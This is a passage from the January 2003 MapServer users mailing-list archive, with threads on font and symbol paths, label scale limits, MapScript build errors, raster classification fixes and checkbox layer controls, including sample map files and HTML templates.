getSymbol(): Symbol definition error. (FONT):(47)
 
Then I try SYMBOLSET "C:\Inetpub\wwwroot\symbols\symbols35.sym" I get this error -
 
getSymbol(): Symbol definition error. (FONT):(48)
 
I don't have a symbols.sym file from the downloaded stuff, just the symbols35.sym file
 
Don't know what to try next. Here is my map file (there could be errors)
 
MAP
NAME S1EX1
EXTENT 101.6 3.03 101.77 3.25
#EXTENT [minx] [miny] [maxx] [maxy]
SIZE 500 400
#FONTSET "fonts/fonts.list"
#SYMBOLSET "C:\Inetpub\wwwroot\symbols\symbols35.sym"
SYMBOLSET "/symbols/symbols35.sym"
FONTSET "C:\Inetpub\wwwroot\fonts\fonts.list"
#FONTSET ../fonts/fonts.list
#FONTSET "web/sdbdev/packages/dv-mapping/fonts/fonts.list"

 
SHAPEPATH "data/Malaysia"
 
WEB
  TEMPLATE s1ex1.html
  IMAGEPATH "set in index.html"
  IMAGEURL "set in index.html"
END

 
LAYER # States
    NAME "KlangValley"
    DATA KlangValley
    STATUS DEFAULT
    TYPE POLYGON
    CLASSITEM "Negeri"
    CLASS
    NAME "KL"
    COLOR 255 255 128
    OUTLINECOLOR 0 0 0
  END # end of class object
END # end of layer object

 
LAYER
  NAME "roads"
  STATUS OFF
  DATA ROAD_GPS
  LABELITEM "Road_name" 
  TYPE LINE
  CLASS
    COLOR 0 0 255
    LABEL
        TYPE TRUETYPE
         ANTIALIAS
 FONT arial
        COLOR 0 0 0
 OUTLINECOLOR 220 220 220
 SIZE 11
 #SIZE MEDIUM
 ANGLE AUTO
 POSITION UC
 OFFSET 0 2      
 buffer 2
    END#label
  END
END # roads
END # end of map file
#=========================================

Richard W. Greenwood, PLS
(307) 733-0203
Rich at GreenwoodMap.com
www.GreenwoodMap.com
--=====================_45565469==.ALT-- --=======60023EC=======-- From steve.lime at dnr.state.mn.us Thu Jan 9 22:57:45 2003 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Fri, 10 Jan 2003 00:57:45 -0600 Subject: [Mapserver-users] regular expression help Message-ID: Looks like the lexer doesn't quite recognize the escapes correctly. Could you file that as a bug? As a work around you could do something like: /Trees.Woodland.Forest, Native__*/ That should work as long as you don't have some values that use /'s and others that use another character and you need to differentiate between them. Steve >>> "Stender, Amy ERDC-CRREL-NH Contractor" 01/09/03 18:18 PM >>> hello, i'm trying to write a regular expression in my map file. to recognize: 1. shrub native__salix exigua 2. shrub native__salix goodingii 3. shrub native__salix laevigata 4. shrub native__salix lasiopis etc... i found that the following regular expression works for my CLASS EXPRESSION: /shrub native__*/ BUT now i have: 1. Trees/Woodland/Forest, Native__blah 2. Trees/Woodland/Forest, Native__blah1 3. Trees/Woodland/Forest, Native__blah2 4. Trees/Woodland/Forest, Native__blah3 the forward slashes confuse my regular expression, so i tried using escape characters: /Trees\/Woodland\/Forest, Native__*/ but this did not work. the error is: loadClass(): Unknown identifier. (Woodland/Forest). any ideas on another escape character or a work-around? thanks, amy Amy L. Stender Remote Sensing/GIS Center Cold Regions Research and Engineering Laboratory United States Army Corps of Engineers 72 Lyme Road, Hanover, NH 03755-1290 Tel: (603) 646-4733 Fax: (603) 646-4730 Amy.Stender at erdc.usace.army.mil _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From lyndon.zimmermann at adelaide.edu.au Thu Jan 9 23:09:45 2003 From: lyndon.zimmermann at adelaide.edu.au (Lyndon Zimmermann) Date: Fri, 10 Jan 2003 17:39:45 +1030 Subject: [Mapserver-users] tile4ms and libttf.dll Message-ID: <3E1E71B9.FF0611A8@adelaide.edu.au> Greetings, I tried to use tile4ms.exe on an NT box to create a tileindex and got an error message unable to find libttf.dll. It's not in the download package. Any clues? Lyndon Zimmermann Adelaide, Australia From mccrone at pc.jaring.my Fri Jan 10 00:47:55 2003 From: mccrone at pc.jaring.my (Steve McCrone) Date: Fri, 10 Jan 2003 16:47:55 +0800 Subject: [Mapserver-users] Mapserver 3.5 - using TrueType Fonts References: <5.2.0.9.0.20030109195833.00a77378@mail.greenwoodmap.com> Message-ID: <002a01c2b884$fb709b10$b69d063d@clickntrac> This is a multi-part message in MIME format. ------=_NextPart_000_0027_01C2B8C8.06348370 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Dear Rich, I tried your suggestion again and presto! - it worked. I put the = Arial.ttf into the same directory as the FontList.list. I thought I had tried this before? Anyway, I'm pleased but at the same = time depressed as I wasted so much time on something so obvious. Probably won't be the last time either. Thanks for the help. Steve ----- Original Message -----=20 From: Richard Greenwood=20 To: Steve McCrone=20 Cc: mapserver-users at lists.gis.umn.edu=20 Sent: Friday, January 10, 2003 11:03 AM Subject: Re: [Mapserver-users] Mapserver 3.5 - using TrueType Fonts Are the font files also in wwwroot\fonts\ ? I've found it easier to = have the font.list in the same directory as the font files. Also check = case - the font file names in font.list are case sensitive (even on = windows). Rich At 10:33 AM 1/10/2003 +0800, you wrote: I have line data shape file (i.e. roads) and I wish to label the = roads using the attribute "Road_name". =20 I've tried a number of things w.r.t. setting the path for the = FONTSET but still cannot get it.=20 =20 my template & map file are in the wwwroot, which is my Home = Directory on Win2K and IIS. I have my fonts.list file in "wwwroot\fonts\fonts.list" =20 when I try FONTSET "fonts/fonts.list" I get this error -=20 =20 getSymbol(): Symbol definition error. (FONT):(47)=20 =20 Then I try SYMBOLSET "C:\Inetpub\wwwroot\symbols\symbols35.sym" I = get this error -=20 =20 getSymbol(): Symbol definition error. (FONT):(48)=20 =20 I don't have a symbols.sym file from the downloaded stuff, just the = symbols35.sym file =20 Don't know what to try next. Here is my map file (there could be = errors) ------=_NextPart_000_0027_01C2B8C8.06348370 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

Dear Rich,
 
I tried your suggestion again and = presto! - it=20 worked. I put the Arial.ttf into the same directory as the=20 FontList.list.
 
I thought I had tried this before? = Anyway, I'm=20 pleased but at the same time depressed as I wasted so much time on = something so=20 obvious.
Probably won't be the last time=20 either.
 
Thanks for the help.
 
Steve
 
----- Original Message -----
From:=20 Richard=20 Greenwood
Cc: mapserver-users at lists.g= is.umn.edu=20
Sent: Friday, January 10, 2003 = 11:03=20 AM
Subject: Re: [Mapserver-users] = Mapserver=20 3.5 - using TrueType Fonts

Are the font files also in wwwroot\fonts\ ? I've found it easier to have the font.list = in the same=20 directory as the font files. Also check case - the font file names in=20 font.list are case sensitive (even on = windows).

Rich

At=20 10:33 AM 1/10/2003 +0800, you wrote:

I have line=20 data shape file (i.e. roads) and I wish to label the roads using the = attribute "Road_name".
 
I've=20 tried a number of things w.r.t. setting the path for the FONTSET but = still=20 cannot get it.
 
my = template=20 & map file are in the wwwroot, which is my Home Directory on = Win2K and=20 IIS.
I have my fonts.list file in=20 "wwwroot\fonts\fonts.list"

 
when=20 I try FONTSET "fonts/fonts.list" I get this error -=20
 
getSymbol(): Symbol = definition=20 error. (FONT):(47)
 
Then I try=20 SYMBOLSET "C:\Inetpub\wwwroot\symbols\symbols35.sym" I get this = error -=20
 
getSymbol(): Symbol = definition=20 error. (FONT):(48)
 
I don't have=20 a symbols.sym file from the downloaded stuff, just the symbols35.sym = file
 
Don't know what = to try=20 next. Here is my map file (there could be=20 errors)
------=_NextPart_000_0027_01C2B8C8.06348370-- From mccrone at pc.jaring.my Fri Jan 10 03:25:26 2003 From: mccrone at pc.jaring.my (Steve McCrone) Date: Fri, 10 Jan 2003 19:25:26 +0800 Subject: [Mapserver-users] Show/hide labels with LABELMINSCALE & LABELMAXSCALE Message-ID: <000c01c2b89a$fa3a3bf0$3079063d@clickntrac> This is a multi-part message in MIME format. ------=_NextPart_000_0009_01C2B8DE.07350180 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I wish to only show the road labels when the map reaches a = pre-determiend scale.I've searched the archives and still baffled. I realize that this should be a straight forward task, but it has = defeated me (new to this subject). I load the same shp files into ArcView and get an idea of when I wish to show/hide the = labels by playing around with the minumun and maximum scale values (withn theme->properties dialog). However, nothing seems to = work on my mapserver. I'm not using php, just wish to set it up in the map file. I had originally had the labelling as part of the layer and then created = a separate annotation layer - still did'nt work. I'll give you my single layer and see if anyone can assist me on = showing/hiding the labels for the roads -=20 LAYER NAME "roads" STATUS OFF DATA ROAD_GPS LABELITEM "Road_name" =20 #LABELMINSCALE ????---> Can't figure out what values to set #LABELMINSCALE ????---> Can't figure out what values to set TYPE LINE CLASS COLOR 0 0 255 LABEL TYPE TRUETYPE #ANTIALIAS FONT arial COLOR 0 0 0 OUTLINECOLOR 220 220 220 SIZE 8 #SIZE MEDIUM ANGLE AUTO POSITION UC OFFSET 0 2 =20 buffer 2 END#label END END # roads ------=_NextPart_000_0009_01C2B8DE.07350180 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I wish to only show the road labels = when the map=20 reaches a pre-determiend scale.I've searched the archives and still=20 baffled.
 
I realize that this should be a = straight forward=20 task, but it has defeated me (new to this subject). I load the = same
shp files=20 into ArcView and get an idea of when I wish to show/hide the labels by = playing=20 around with the minumun and maximum
scale values (withn = theme->properties=20 dialog). However, nothing seems to work on my mapserver. I'm not using = php, just=20 wish to set
it up in the map file.
 
I had originally had the labelling as = part of the=20 layer and then created a separate annotation layer - still did'nt=20 work.
 
I'll give you my single layer and see = if anyone can=20 assist me on showing/hiding the labels for the roads -
 
LAYER
  NAME "roads"
  = STATUS=20 OFF
  DATA ROAD_GPS
  LABELITEM "Road_name"  =
 =20 #LABELMINSCALE ????---> Can't figure out what values to set
  = #LABELMINSCALE ????---> Can't figure out what values to set
  = TYPE=20 LINE
  CLASS
    COLOR 0 0 = 255
   =20 LABEL
        TYPE=20 TRUETYPE
        =20 #ANTIALIAS
 FONT = arial
       =20 COLOR 0 0 0
 OUTLINECOLOR 220 220 220
 SIZE = 8
 #SIZE=20 MEDIUM
 ANGLE AUTO
 POSITION UC
 OFFSET 0=20 2      
 buffer = 2
   =20 END#label
  END
END # roads
------=_NextPart_000_0009_01C2B8DE.07350180-- From stefan.schwarzer at grid.unep.ch Fri Jan 10 04:02:40 2003 From: stefan.schwarzer at grid.unep.ch (Stefan Schwarzer) Date: Fri, 10 Jan 2003 13:02:40 +0100 Subject: [Mapserver-users] Show/hide labels with LABELMINSCALE & LABELMAXSCALE In-Reply-To: <000c01c2b89a$fa3a3bf0$3079063d@clickntrac> Message-ID: <5.2.0.9.0.20030110124533.02f6ecb0@gridg.grid.unep.ch> --=====================_159506958==.ALT Content-Type: text/plain; charset="us-ascii"; format=flowed Hi Steve, naturally the value you use to set the limits for the labels depend on your files. Here is an example of labeling the capitals of all countries. In full extent mode the user won't see the labels but the points. Only if one zooms into the map to a certain degree, the labels will be displayed. Labelminscale would be used to hide the labels again if the user would zoom in too much. But I didn't use this option as it doesn't make sense in this case. I figured out the value just by trial-and-error.... Hope this helps. Stefan LAYER NAME capital TYPE POINT DATA capitals STATUS DEFAULT LABELITEM 'name' LABELMAXSCALE 80000000 CLASSITEM 'status' CLASS EXPRESSION 'National capital' SYMBOL 'circle' SIZE 3 COLOR 250 50 10 LABEL OFFSET 5 -8 SIZE TINY COLOR 230 230 100 POSITION CC END END END >I wish to only show the road labels when the map reaches a pre-determiend >scale.I've searched the archives and still baffled. > >I realize that this should be a straight forward task, but it has defeated >me (new to this subject). I load the same >shp files into ArcView and get an idea of when I wish to show/hide the >labels by playing around with the minumun and maximum >scale values (withn theme->properties dialog). However, nothing seems to >work on my mapserver. I'm not using php, just wish to set >it up in the map file. > >I had originally had the labelling as part of the layer and then created a >separate annotation layer - still did'nt work. > >I'll give you my single layer and see if anyone can assist me on >showing/hiding the labels for the roads - > >LAYER > NAME "roads" > STATUS OFF > DATA ROAD_GPS > LABELITEM "Road_name" > #LABELMINSCALE ????---> Can't figure out what values to set > #LABELMINSCALE ????---> Can't figure out what values to set > TYPE LINE > CLASS > COLOR 0 0 255 > LABEL > TYPE TRUETYPE > #ANTIALIAS > FONT arial > COLOR 0 0 0 > OUTLINECOLOR 220 220 220 > SIZE 8 > #SIZE MEDIUM > ANGLE AUTO > POSITION UC > OFFSET 0 2 > buffer 2 > END#label > END >END # roads _______________________________________ Stefan Schwarzer Consultant on GEO UNEP/DEWA/GRID-Geneva Chemin des Anemones 11 CH - 1219 Chatelaine Switzerland Tel: (+41) 22.917.83.49 Fax: (+41) 22.917.80.29 Email: stefan.schwarzer at grid.unep.ch Internet: http://geodata.grid.unep.ch/ _______________________________________ --=====================_159506958==.ALT Content-Type: text/html; charset="us-ascii" Hi Steve,

naturally the value you use to set the limits for the labels depend on your files. Here is an example of labeling the capitals of all countries. In full extent mode the user won't see the labels but the points. Only if one zooms into the map to a certain degree, the labels will be displayed. Labelminscale would be used to hide the labels again if the user would zoom in too much. But I didn't use this option as it doesn't make sense in this case. I figured out the value just by trial-and-error....

Hope this helps.

Stefan


LAYER
  NAME capital
  TYPE POINT
  DATA capitals
  STATUS DEFAULT
  LABELITEM 'name'      
  LABELMAXSCALE 80000000
  CLASSITEM 'status'    
  CLASS
    EXPRESSION 'National capital'
    SYMBOL 'circle'
    SIZE 3
    COLOR 250 50 10
    LABEL
      OFFSET 5 -8
      SIZE TINY
      COLOR 230 230 100
      POSITION CC
    END
  END
END


I wish to only show the road labels when the map reaches a pre-determiend scale.I've searched the archives and still baffled.
 
I realize that this should be a straight forward task, but it has defeated me (new to this subject). I load the same
shp files into ArcView and get an idea of when I wish to show/hide the labels by playing around with the minumun and maximum
scale values (withn theme->properties dialog). However, nothing seems to work on my mapserver. I'm not using php, just wish to set
it up in the map file.

 
I had originally had the labelling as part of the layer and then created a separate annotation layer - still did'nt work.
 
I'll give you my single layer and see if anyone can assist me on showing/hiding the labels for the roads -
 
LAYER
  NAME "roads"
  STATUS OFF
  DATA ROAD_GPS
  LABELITEM "Road_name" 
  #LABELMINSCALE ????---> Can't figure out what values to set
  #LABELMINSCALE ????---> Can't figure out what values to set
  TYPE LINE
  CLASS
    COLOR 0 0 255
    LABEL
        TYPE TRUETYPE
         #ANTIALIAS
 FONT arial
        COLOR 0 0 0
 OUTLINECOLOR 220 220 220
 SIZE 8
 #SIZE MEDIUM
 ANGLE AUTO
 POSITION UC
 OFFSET 0 2      
 buffer 2
    END#label
  END
END # roads

        _______________________________________

        Stefan Schwarzer
        Consultant on GEO

        UNEP/DEWA/GRID-Geneva
        Chemin des Anemones 11
        CH - 1219 Chatelaine
        Switzerland

        Tel: (+41) 22.917.83.49
        Fax: (+41) 22.917.80.29

        Email: stefan.schwarzer at grid.unep.ch
        Internet: http://geodata.grid.unep.ch/
        _______________________________________ --=====================_159506958==.ALT-- From frauke.trurnit at gmx.de Fri Jan 10 05:47:33 2003 From: frauke.trurnit at gmx.de (frauke.trurnit at gmx.de) Date: Fri, 10 Jan 2003 14:47:33 +0100 (MET) Subject: [Mapserver-users] unable to load dynamic library Message-ID: <25715.1042206453@www50.gmx.net> Hi list, I configured mapscript/php and copied php_mapscript.so to "/usr/local/lib/php/extensions/". The extension_dir in php.ini is set to "/usr/local/lib/php/extensions/" and the phpinfo() works. But when I call this php-file: draw(); $image_url=$image->saveWebImage(MS_PNG,1,1,0); ?> Map 1

>
I get the following error message: Unable to load dynamic library '/usr/local/lib/php/extensions/php_mapscript.so' - /usr/local/lib/php/extensions/php_mapscript.so: undefined symbol: GDALGetRasterXSize in /usr/local/httpd/htdocs/releases/bundestag.php4 on line 2 Fatal error: Call to undefined function: ms_newmapobj() in /usr/local/httpd/htdocs/releases/bundestag.php4 on line 4 Can someone help me? Frauke -- +++ GMX - Mail, Messaging & more http://www.gmx.net +++ NEU: Mit GMX ins Internet. Rund um die Uhr f?r 1 ct/ Min. surfen! From philipp.jacob at geosysnet.de Fri Jan 10 06:34:06 2003 From: philipp.jacob at geosysnet.de (Philipp Jacob) Date: Fri, 10 Jan 2003 15:34:06 +0100 Subject: [Mapserver-users] Can't compile TCL Mapscript References: <25715.1042206453@www50.gmx.net> Message-ID: <3E1ED9DE.3010703@geosysnet.de> Help. I am trying to compile the tcl interface for Mapscript so I can use msworkbench. This is the output that I get from 'make': gcc -pipe -c -DPACKAGE_NAME="" -DPACKAGE_TARNAME="" -DPACKAGE_VERSION="" -DPACKAGE_STRING="" -DPACKAGE_BUGREPORT="" -DSTDC_HEADERS=1 -DHAVE_SYS_TYPES_H=1 -DHAVE_SYS_STAT_H=1 -DHAVE_STDLIB_H=1 -DHAVE_STRING_H=1 -DHAVE_MEMORY_H=1 -DHAVE_STRINGS_H=1 -DHAVE_INTTYPES_H=1 -DHAVE_STDINT_H=1 -DHAVE_UNISTD_H=1 -DHAVE_UNISTD_H=1 -DHAVE_LIMITS_H=1 -D_LARGEFILE64_SOURCE=1 -DTCL_WIDE_INT_TYPE=long long -DHAVE_STRUCT_STAT64=1 -DHAVE_TYPE_OFF64_T=1 -DHAVE_GETCWD=1 -DHAVE_OPENDIR=1 -DHAVE_STRSTR=1 -DHAVE_STRTOL=1 -DHAVE_STRTOLL=1 -DHAVE_STRTOULL=1 -DHAVE_TMPNAM=1 -DHAVE_WAITPID=1 -DHAVE_UNISTD_H=1 -DHAVE_SYS_PARAM_H=1 -DUSE_TERMIOS=1 -DHAVE_SYS_TIME_H=1 -DTIME_WITH_SYS_TIME=1 -DHAVE_STRUCT_TM_TM_ZONE=1 -DHAVE_TM_ZONE=1 -DHAVE_GMTIME_R=1 -DHAVE_LOCALTIME_R=1 -DHAVE_TM_GMTOFF=1 -DHAVE_TIMEZONE_VAR=1 -DHAVE_STRUCT_STAT_ST_BLKSIZE=1 -DHAVE_ST_BLKSIZE=1 -DHAVE_SIGNED_CHAR=1 -DHAVE_LANGINFO=1 -DHAVE_SYS_IOCTL_H=1 -fPIC \ -I/usr/include \ -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_TIFF -DUSE_JPEG -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_OGR -DUSE_GDAL -I. -I/usr/local/include -I/usr/local/include -I/usr/local/include \ -DUSE_TCL_STUBS -DITCL_NAMESPACES -DItcl_Namespace=int -D"spaceId=spcid;Tcl_InitStubs(interp,\"8.1\",0)" \ mapscript_wrap.c gcc: long: No such file or directory cc1: warning: changing search order for system directory "/usr/local/include" cc1: warning: as it has already been specified as a non-system directory cc1: warning: changing search order for system directory "/usr/include" cc1: warning: as it has already been specified as a non-system directory In file included from ../../map.h:41, from mapscript_wrap.c:1049: /usr/include/regex.h:535:1: warning: "__restrict_arr" redefined In file included from /usr/include/features.h:283, from /usr/include/string.h:26, from mapscript_wrap.c:26: /usr/include/sys/cdefs.h:212:1: warning: this is the location of the previous definition make: *** [stublib] Error 1 I am using Mapserver 3.6.4 on Suse 8.1. Anyone know what's going on? Thanks, Philipp From Roberto.Santinelli at pg.infn.it Fri Jan 10 06:51:20 2003 From: Roberto.Santinelli at pg.infn.it (Roberto_Santinelli) Date: Fri, 10 Jan 2003 15:51:20 +0100 (MET) Subject: [Mapserver-users] Convert a ArcView project (.apr) in to a Mapserver one (map) Message-ID: <1042210280.3e1edde8d395d@mailer.pg.infn.it> Hi everybody, once again is me to write looking for some hints. Well, in this phase of my project (perhaps, whenever finished, i hope to make you current about it...) i have to convert an ArcView project (namely the apr file containing all the layer with their informations as color, scale, name, properties and so on) in to a map file to allow mapserver to publish the same GIS-data. This is the goal. I already developted (based on the work of Ross) an ArcView extension script (language is Avenue) to traslate many characteristics from ESRI world to Mapserver one. But there are some limits. This "traslation" for example don't allow to mantain symbol information (a red star used for a point layer in ArcView, a town for example, should be always a star in the mapserver and not simply a red default-pixel or a DASHED GREEN LINE SHOULD AGAIN BE A DASHED AND NOT A SOLID LINE (BLU)). Let me avoid to speak about the filling of polygon.... My question is: there are some tool to convert the symbols of ArvView (*.avp) in to something like in mapserver? If yes how to use? How to load in to a symbol.sym file the sybol need? If not, how do you do to make a red star in ArcView in to a red star in Mapserver? I don't think this is a very interesting question for you, but if someone already met with this problem..... Looking forward for your news, all the best Roberto Santinelli From RUBINJ at gov.ns.ca Fri Jan 10 07:08:21 2003 From: RUBINJ at gov.ns.ca (John Rubin) Date: Fri, 10 Jan 2003 11:08:21 -0400 Subject: [Mapserver-users] JOIN DBF's Message-ID: Has the JOIN function been enabled and if so in what mapserver version, I am presently using a windows binary version of 3.6.3. What is the map file prodical for JOIN? If any one has an example it would be appreciated. John Rubin John Rubin Telephone: 902-893-5712 E-mail: RUBINJ at gov.ns.ca From warmerdam at pobox.com Fri Jan 10 07:10:26 2003 From: warmerdam at pobox.com (Frank Warmerdam) Date: Fri, 10 Jan 2003 10:10:26 -0500 Subject: [Mapserver-users] GDAL support for classed rasters in nightly 3.7? In-Reply-To: <4D6E6CCBC9CED61192720060B06B3DD7C3FC3E@ACTMAIL2> References: <4D6E6CCBC9CED61192720060B06B3DD7C3FC3E@ACTMAIL2> Message-ID: <3E1EE262.1010907@pobox.com> Antti.Roppola at brs.gov.au wrote: > Hello all, > > I have built 3.7 using the nightly tarball from the day before. > > Most things in the 3.6 map work un-modified, but classed rasters do not display > (a continuous tone ERDAS Imagine file still works). This suggests something > to do with the CLASS object: > > LAYER > NAME "My Layer" > TYPE RASTER > STATUS OFF > DATA myraster.bil ## (.tif or Grid for that matter) > CLASSITEM "[pixel]" > CLASS > NAME "Class 1" > EXPRESSION ([pixel] ==1) > COLOR 255 0 0 > END > END > > The 3.7 migration doco suggests CLASS should be backward compatible in most instances. > Am I seeing a vagary in the nightly, or should I be re-writing the above as a STYLE? Inserting > "DEBUG 1" into the layer merely induces a getSymbol() error message. > Antti, I found a few problems contributing to this failing: o The code in mapdrawgdal.c that was checking the class colors was not first calling RESOLVE_PEN_GD() so the pen value wasn't set and the color wasn't valid. This problem seems to be shared with all the other classified raster code in mapraster.c, so I have fixed them to. o The MS_TRANSPARENT_COLOR() macro seemed to be returning MS_TRUE and MS_FALSE reversed from what they should be. I have corrected this macro in map.h. o mapdrawgdal.c was applying the CVT macro to red, green and blue values pulled from sEntry. This is an error and I have removed used of this macro. This was improperly copied from the libtiff based renderer I think. I have committed the changes, and also added a raster "classification" test to the automated testsuite (msautotest/gdal/classtest1.map) that should warn us if the classification support gets so badly broken again. Please do a CVS update and let me know if you encounter any additional problems with raster classification. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From DMartin at erac.com Fri Jan 10 08:59:33 2003 From: DMartin at erac.com (Martin, Daniel) Date: Fri, 10 Jan 2003 10:59:33 -0600 Subject: [Mapserver-users] Checkboxes for layer control Message-ID: <4ACBA1414DD9EE418CC250E4AAA9035AADBCCD@STL-EXBE-I03.corp.erac.com> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_000_01C2B8C9.A5D847C3 Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C2B8C9.A5D847C3" ------_=_NextPart_001_01C2B8C9.A5D847C3 Content-Type: text/plain; charset="iso-8859-1" Steve, I've attached my checkbox legend. I think it will better accomplish what you are trying to do. Using an html template legend avoids hard coding layers like you've done. To use it, your map file needs to have: TEMPLATE "../legendTemplates/checkBox_legend.html" within the LEGEND object. Then your client should at some point use [legend] Obviously it's meant to be nested within a table (it really won't look good otherwise). If you don't want the checkbox to call a Javascript function, you can change: onClick="submitMapserv();" to onclick="document.mapserv.submit();" where "mapserv" is the name of your form. If any of this doesn't make sense, let me know. -Dan Martin -----Original Message----- From: Steve McCrone [mailto:mccrone at pc.jaring.my] Sent: Tuesday, January 07, 2003 8:07 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Checkboxes for layer control I'm trying to implement check boxes to toggle on/off layers. It looks pretty darn simple but I can't seem to get it working. The checkboxes are to reflect what layers are loaded, but they are not. I've tried for many hours but once again must resort to the list. So I'm really hoping that someone can point out my mistake(s). My original had the rosa applet in it and it was working great. But I took it out in the code below to see if that made a difference, so there is some declarations in the template file that do not currently apply. I start with index.html ============== MapServer 3.5 Tutorial
s1ex1.map ======= NAME S1EX1 EXTENT -97.238976 41.619778 -82.122902 49.38562 SIZE 500 400 SHAPEPATH "data" WEB TEMPLATE s1ex1.html IMAGEPATH "set in index.html" IMAGEURL "set in index.html" END LAYER # water NAME "water" DATA hydrop_ugl STATUS DEFAULT TYPE POLYGON CLASS NAME "water" COLOR 200 200 255 OUTLINECOLOR 255 0 0 END # end of water features class END # end of water features layer LAYER # States NAME "states" DATA states_ugl STATUS DEFAULT TYPE POLYGON CLASS # States class NAME "States" EXPRESSION ('[CLASS]' = 'land') COLOR 240 240 240 OUTLINECOLOR 0 0 0 END # end of States class object END # end of layer object END # end of map file s1ex1.html ======== Part1, Example 1

Section 1- Example 1

 
 States  
 Water Features  
Redraw Map

 

------_=_NextPart_001_01C2B8C9.A5D847C3 Content-Type: text/html; charset="iso-8859-1"
Steve,
I've attached my checkbox legend.  I think it will better accomplish what you are trying to do.  Using an html template legend avoids hard coding layers like you've done.  To use it, your map file needs to have: 
 
TEMPLATE "../legendTemplates/checkBox_legend.html"
 
within the LEGEND object.  Then your client should at some point use
 
<TD>[legend]</TD>
Obviously it's meant to be nested within a table (it really won't look good otherwise).  If you don't want the checkbox to call a Javascript function, you can change:
onClick="submitMapserv();"
 
to
 
onclick="document.mapserv.submit();"
 
where "mapserv" is the name of your form.
 
If any of this doesn't make sense, let me know.
-Dan Martin
-----Original Message-----
From: Steve McCrone [mailto:mccrone at pc.jaring.my]
Sent: Tuesday, January 07, 2003 8:07 AM
To: mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] Checkboxes for layer control

I'm trying to implement check boxes to toggle on/off layers.  It looks pretty darn simple but I can't seem to get it working.  The checkboxes are to reflect what layers are loaded, but they are not.  I've tried for many hours but once again must resort to the list. So I'm really hoping that someone can point out my mistake(s).
 
My original had the rosa applet in it and it was working great. But I took it out in the code below to see if that made a difference, so there is some declarations in the template file that do not currently apply.
 
I start with index.html
==============
<html>
<head>
<title>MapServer 3.5 Tutorial</title>
</head>
<body bgcolor="#ffffff">
<form method=GET action="/cgi-bin/mapserv.exe">
 
<input type="hidden" name="map" value="C:\Inetpub\wwwroot\s1ex1.map">
<input type="hidden" name="zoomsize" value=2>
<input type="hidden" name="program" value="/cgi-bin/mapserv.exe">
<input type="hidden" name="map_web_imagepath" value="C:\inetpub\wwwroot\tmp\">
<input type="hidden" name="map_web_imageurl" value="/tmp/">
<center><input type="submit" value="Initialize"></center>
</body>
</html>
 
s1ex1.map
=======
NAME S1EX1
EXTENT -97.238976 41.619778 -82.122902 49.38562
SIZE 500 400
SHAPEPATH "data"
 
WEB
  TEMPLATE s1ex1.html
  IMAGEPATH "set in index.html"
  IMAGEURL "set in index.html"
END
 
LAYER # water
  NAME "water"
  DATA hydrop_ugl
  STATUS DEFAULT
  TYPE POLYGON
 
  CLASS
    NAME "water"
    COLOR 200 200 255
    OUTLINECOLOR 255 0 0
  END # end of water features class
END  # end of water features layer
 
LAYER # States
  NAME "states"
  DATA states_ugl
  STATUS DEFAULT
  TYPE POLYGON
 
  CLASS # States class
    NAME "States"
    EXPRESSION ('[CLASS]' = 'land')
    COLOR 240 240 240
    OUTLINECOLOR 0 0 0
  END # end of States class object
END # end of layer object
 
END # end of map file
 
s1ex1.html
========
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
<html>
<head>
<title>Part1, Example 1</title>
</head>
<h3>Section 1- Example 1</h3>
 
<form name="mapserver" method=get action="/cgi-bin/mapserv.exe" onSubmit="zoomin()">
 
<input type="hidden" name="mode" value="browse">
<input type="hidden" name="zoomdir" value="1">
<input type="hidden" name="zoomsize" value="2">
 
<input type="hidden" name="map" value="[map]">
<input type="hidden" name="imgext" value="[mapext]">
<!-- <input type="hidden" name="imgxy" value="250 200">-->
 

<input type="hidden" name="map_web_imagepath" value="[map_web_imagepath]">
<input type="hidden" name="map_web_imageurl" value="[map_web_imageurl]">
 

 <!-- ROSA applet specific tags  -->
    <input type="hidden" name="imagewidth" value="[mapwidth]">
    <input type="hidden" name="imageheight" value="[mapheight]">
    <!-- Initialization of the parameters which can be set from the applet  -->
    <input type="hidden" name="INPUT_TYPE"  value="">
    <input type="hidden" name="INPUT_COORD" value="">
 
    <input type="hidden" name="lastButtonSelected" value="">&nbsp;
<table border="1" width="771" height="82" cellpadding="2">
  <tr>
    <td width="400" height="27" valign="top" align="left">
      <table border="1" width="100%" height="83">
        <tr>
          <td width="13%" height="5">
          <input type="checkbox" name="layer" value="states" [states_check]>
          </td>
          <td width="35%" height="5">&nbsp;States</td>
          <td width="52%" height="5">&nbsp;</td>
        </tr>
        <tr>
          <td width="13%" height="2">
          <input type="checkbox" name="layer" value="water" [water_check]>
          </td>
          <td width="35%" height="2">&nbsp;Water Features</td>
          <td width="52%" height="2">&nbsp;</td>
        </tr>
        <tr>
          <td width="13%" height="29">
          <input type=IMAGE src="rosa/userdoc/images/icon_redraw.gif" width="19" height="19" name=redraw border=0></td>
          <td width="87%" height="29" colspan="2"><font face="Arial" size="3">Redraw
            Map</font></td>
        </tr>
      </table>
    </td>
    <td width="507" height="363" valign="top" align="left" bordercolor="#000080">
    <INPUT NAME="img" TYPE="image" SRC="[img]" width=[mapwidth] height=[mapheight] border=0>
    </td>
  </tr>
  <tr>
    <td width="400" height="43" valign="top" align="left"></td>
    <td width="507" height="43"></td>
  </tr>
</table>
<p>
 
   <!-- Applet and Parameter -->
</p>
<p>&nbsp;</p>
</form>
</html>
